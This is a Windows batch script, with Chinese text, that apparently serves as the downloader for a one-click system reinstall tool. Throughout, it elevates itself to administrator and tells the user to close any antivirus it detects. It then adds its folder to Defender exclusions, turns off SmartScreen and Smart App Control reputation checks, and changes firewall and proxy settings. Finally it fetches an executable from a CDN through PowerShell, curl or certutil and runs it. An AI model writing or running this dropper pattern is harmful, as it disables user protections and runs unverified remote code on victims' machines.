1>nul fltmc || powershell.exe -Command "Start-Process -FilePath \"%~f0\" -Verb RunAs" && exit /b
@echo off
mode con cols=70 lines=24
title 艾瑞斯(在线一键)重装软件下载
setlocal enabledelayedexpansion

set "trayappname="
for /f "tokens=1 delims=." %%p in ('tasklist /NH') do (
    if /i "%%p"=="hipstray" set "trayappname=!trayappname! ，火绒安全"
    if /i "%%p"=="qqpctray" set "trayappname=!trayappname! ，腾讯电脑管家"
    if /i "%%p"=="360tray" set "trayappname=!trayappname! ，360"
    if /i "%%p"=="360rp" set "trayappname=!trayappname! ，360"
    if /i "%%p"=="360sd" set "trayappname=!trayappname! ，360"
    if /i "%%p"=="kxetray" set "trayappname=!trayappname! ，金山毒霸"
    if /i "%%p"=="2345safetray" set "trayappname=!trayappname! ，2345安全"
    if /i "%%p"=="lenovotray" set "trayappname=!trayappname! ，联想电脑管家"
    if /i "%%p"=="wukongtray" set "trayappname=!trayappname! ，悟空安全"
)
if not "%trayappname%"=="" (
    echo.
    echo.
    echo 检查到当前电脑存在以下安全杀毒类软件：
    echo %trayappname%
    echo 请关闭安全类杀毒类软件后在使用，否则可能会阻止本软件使用。
    echo 如果你不会关，或者关不了，按任意键继续即可。
    pause
)
cls

set "OnlienAppUrl=https://default-uz25112.cdn.7caiyun.com/Online.exe"

set "OneKeyAppUrl=https://default-uz25112.cdn.7caiyun.com/OneKey.exe"

set "DownloadUrl=%OneKeyAppUrl%"

set /a "DLFileSize=512000"

set /a "verNum=0"
for /f "tokens=3 delims=." %%b in ('ver') do set /a "verNum=%%b"

if %verNum% GTR 14392 (
    set "DownloadUrl=%OnlienAppUrl%"
) else (
    set "DownloadUrl=%OneKeyAppUrl%"
    set /a "DLFileSize=62914560"
)

set "ScriptDir=%~dp0"
set "AppDir=%ScriptDir:~0,-1%"
powershell.exe Add-MpPreference -ExclusionPath "%AppDir%"
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer /v SmartScreenEnabled /t REG_SZ /d Off /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CI\Policy" /v VerifiedAndReputablePolicyState /t REG_DWORD /d 0 /f
netsh advfirewall set allprofiles firewallpolicy blockinbound,allowoutbound
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoDetect /t REG_DWORD /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyEnable /t REG_DWORD /d 0 /f

::下载~
echo 正在下载艾瑞斯系统重装软件，请稍等片刻...
set "AppExeName=艾瑞斯系统重装软件.exe"
set "AppPath=%AppDir%\%AppExeName%"

powershell -Command "try{Invoke-WebRequest '%DownloadUrl%' -OutFile '%AppPath%' -UseBasicParsing; exit 0}catch{exit 1}"
if "%errorlevel%"=="0" (
    if exist "%AppPath%" (
        for %%i in ("%AppPath%") do if %%~zi GTR %DLFileSize% (
            goto DOWNLOAD_OK
        )
    )
)
del /f /q "%AppPath%"

curl -o "%AppPath%" "%DownloadUrl%" 
if "%errorlevel%"=="0" (
    if exist "%AppPath%" (
        for %%i in ("%AppPath%") do if %%~zi GTR %DLFileSize% (
            goto DOWNLOAD_OK
        )
    )
)
del /f /q "%AppPath%"

certutil -urlcache -split -f "%DownloadUrl%" "%AppPath%"
if "%errorlevel%"=="0" (
    if exist "%AppPath%" (
        for %%i in ("%AppPath%") do if %%~zi GTR %DLFileSize% (
            goto DOWNLOAD_OK
        )
    )
)
del /f /q "%AppPath%"

ECHO 已为您打开浏览器并尝试下载...
explorer.exe "%DownloadUrl%"
exit

:DOWNLOAD_OK
echo 下载完成，正在启动...
ping 127.0.0.1 -n 3
start "" "%AppPath%"
exit
